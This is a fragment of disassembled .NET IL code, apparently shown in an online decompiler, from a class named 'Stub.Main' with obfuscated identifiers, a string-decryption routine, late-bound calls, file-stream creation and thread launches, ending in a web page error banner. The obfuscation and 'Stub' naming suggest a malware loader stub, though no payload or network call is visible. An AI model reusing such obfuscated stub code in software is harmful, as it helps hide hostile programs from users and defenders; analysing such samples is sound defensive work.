ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.6 <null>
stloc.s V_22
br IL_0368: ldloc.s V_22
ldloc.s V_12
ldnull <null>
ldc.i4 1647181887
ldc.i4.3 <null>
ldnull <null>
ldc.i4.3 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.4 <null>
stloc.s V_22
br IL_0368: ldloc.s V_22
ldnull <null>
stloc.s V_12
ldloc.s V_7
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴗ.Ⴃ::Ⴀ
leave.s IL_0576: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0576: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_24
ldloc.s V_24
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴗ.Ⴃ::Ⴅ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldc.i4.6 <null>
stloc.s V_24
br.s IL_0579: ldloc.s V_24
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.5 <null>
stloc.s V_24
br IL_0579: ldloc.s V_24
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ldsfld System.Char[] Stub.Messages::Ⴈ
ldc.i4 390
ldsfld System.Char[] Stub.Messages::Ⴈ
ldc.i4 390
ldelem.u2 <null>
ldsfld System.Char[] Stub.Messages::Ⴈ
ldc.i4 264
ldelem.u2 <null>
sub <null>
ldc.i4.s 112
and <null>
stelem.i2 <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙